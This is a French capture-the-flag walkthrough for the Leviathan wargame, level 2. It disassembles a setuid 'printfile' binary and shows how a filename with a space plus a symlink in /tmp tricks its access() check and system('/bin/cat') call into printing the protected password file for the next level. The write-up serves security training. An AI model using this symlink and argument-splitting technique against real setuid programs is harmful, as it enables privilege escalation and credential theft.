Niveau 2
Level Goal
There is no information for this level, intentionally.
Une fois reconnecté au serveur en tant qu'utilisateur leviathan1
, commençons par lister le contenu du répertoire home :
leviathan2@leviathan:~$ ls -l
total 8
-r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26 2019 printfile
Si on exécute le programme sans argument on obtient la réponse suivante :
leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
Si l'on essaye naïvement de passer en paramètre le fichier contenant le mot de passe on a la réponse suivante :
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan2
/bin/cat: /etc/leviathan_pass/leviathan2: Permission denied
On notera que le programme utilise /bin/cat
pour lire le fichier.
Ouvrons le programme avec gdb (gdb printfile
) et regardons la fonction main
:
(gdb) disas main
Dump of assembler code for function main:
0x0804852b <+0>: lea 0x4(%esp),%ecx
0x0804852f <+4>: and $0xfffffff0,%esp
0x08048532 <+7>: pushl -0x4(%ecx)
0x08048535 <+10>: push %ebp
0x08048536 <+11>: mov %esp,%ebp
0x08048538 <+13>: push %ebx
0x08048539 <+14>: push %ecx
0x0804853a <+15>: sub $0x200,%esp
0x08048540 <+21>: mov %ecx,%ebx
0x08048542 <+23>: cmpl $0x1,(%ebx)
0x08048545 <+26>: jg 0x8048577 <main+76>
0x08048547 <+28>: sub $0xc,%esp
0x0804854a <+31>: push $0x8048690
0x0804854f <+36>: call 0x80483c0 <puts@plt>
0x08048554 <+41>: add $0x10,%esp
0x08048557 <+44>: mov 0x4(%ebx),%eax
0x0804855a <+47>: mov (%eax),%eax
0x0804855c <+49>: sub $0x8,%esp
0x0804855f <+52>: push %eax
0x08048560 <+53>: push $0x80486a5
0x08048565 <+58>: call 0x80483a0 <printf@plt>
0x0804856a <+63>: add $0x10,%esp
0x0804856d <+66>: mov $0xffffffff,%eax
0x08048572 <+71>: jmp 0x80485fa <main+207>
0x08048577 <+76>: mov 0x4(%ebx),%eax
0x0804857a <+79>: add $0x4,%eax
0x0804857d <+82>: mov (%eax),%eax
0x0804857f <+84>: sub $0x8,%esp
0x08048582 <+87>: push $0x4
0x08048584 <+89>: push %eax
0x08048585 <+90>: call 0x8048410 <access@plt>
0x0804858a <+95>: add $0x10,%esp
0x0804858d <+98>: test %eax,%eax
0x0804858f <+100>: je 0x80485a8 <main+125>
0x08048591 <+102>: sub $0xc,%esp
0x08048594 <+105>: push $0x80486b9
0x08048599 <+110>: call 0x80483c0 <puts@plt>
0x0804859e <+115>: add $0x10,%esp
0x080485a1 <+118>: mov $0x1,%eax
0x080485a6 <+123>: jmp 0x80485fa <main+207>
0x080485a8 <+125>: mov 0x4(%ebx),%eax
0x080485ab <+128>: add $0x4,%eax
0x080485ae <+131>: mov (%eax),%eax
0x080485b0 <+133>: push %eax
0x080485b1 <+134>: push $0x80486d4
0x080485b6 <+139>: push $0x1ff
0x080485bb <+144>: lea -0x208(%ebp),%eax
0x080485c1 <+150>: push %eax
0x080485c2 <+151>: call 0x8048400 <snprintf@plt>
0x080485c7 <+156>: add $0x10,%esp
0x080485ca <+159>: call 0x80483b0 <geteuid@plt>
0x080485cf <+164>: mov %eax,%ebx
0x080485d1 <+166>: call 0x80483b0 <geteuid@plt>
0x080485d6 <+171>: sub $0x8,%esp
0x080485d9 <+174>: push %ebx
0x080485da <+175>: push %eax
0x080485db <+176>: call 0x80483e0 <setreuid@plt>
0x080485e0 <+181>: add $0x10,%esp
0x080485e3 <+184>: sub $0xc,%esp
0x080485e6 <+187>: lea -0x208(%ebp),%eax
0x080485ec <+193>: push %eax
0x080485ed <+194>: call 0x80483d0 <system@plt>
0x080485f2 <+199>: add $0x10,%esp
0x080485f5 <+202>: mov $0x0,%eax
0x080485fa <+207>: lea -0x8(%ebp),%esp
0x080485fd <+210>: pop %ecx
0x080485fe <+211>: pop %ebx
0x080485ff <+212>: pop %ebp
0x08048600 <+213>: lea -0x4(%ecx),%esp
0x08048603 <+216>: ret
End of assembler dump.
Si l'on regarde en détail le code désassemblé, on peut remarquer la ligne suivante :
0x08048585 <+90>: call 0x8048410 <access@plt>
Si l'on regarde le détail de La fonction access appelée, on peut noter que cette fonction va tenter d'accéder au fichier en utilisant la vraie identité de l'utilisateur (real user ID
) plutôt que l'identité effective (effective user ID
). Si l'utilisateur a le droit d'accéder au fichier access
retourn 0
, sinon il retourne -1
ou une erreur.
La fonction access
possède une faille de sécurité particulièrement connue ; la faille TOCTOU (time-of-check to time-of-use). Le concept de cette faille est le suivant :
- le programme utilise la fonction
access
pour vérifier les droits d'accès à un fichier - avant que le programme ait le temps d'ouvrir le fichier, l'utilisateur peut ajouter un lien symbolique depuis le fichier validé par access vers un autre fichier
Ici cela n'aura pas l'effet escompté car le fait d'exécuter le programme avec gdb
ne permet pas dans tous les cas d'ouvrir le fichier /etc/leviathan_pass/leviathan3
pour des histoires de droit.
La solution est d'utiliser le fait que les espaces dans les noms de fichier ouvert par cat
ne sont pas automatiquement échappés.
Par exemple, si on a un fichier name with spaces
, la commande cat name with spaces
cherchera à ouvrir séparement les fichier name
, with
et spaces
.
Nous pouvons donc exploiter cette spécificité pour ouvrir le fichier qui nous intéresse. Pour cela commençons par créer un fichier dans le dossier /tmp
avec un espace :
leviathan2@leviathan:~$ touch "/tmp/leviathan 2"
Puis créons ensuite un lien symbolique vers le fichier contenant le mot de passe depuis un fichier avec un nom correspondant à la première partie du fichier leviathan 2
par dessus
leviathan2@leviathan:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/leviathan
Ainsi le programme printfile
va d'abord vérifier que nous avons bien le droit de lire le contenu du fichier /tmp/leviathan 2
avant de passer le nom du fichier à cat
, qui va chercher à lire séparément les fichiers /tmp/leviathan
et 2
.
Si l'on exécute le programme on obtient le mot de passe:
leviathan2@leviathan:~$ ./printfile /tmp/leviathan\ 2
Ahdiemoo1j
/bin/cat: 2: No such file or directory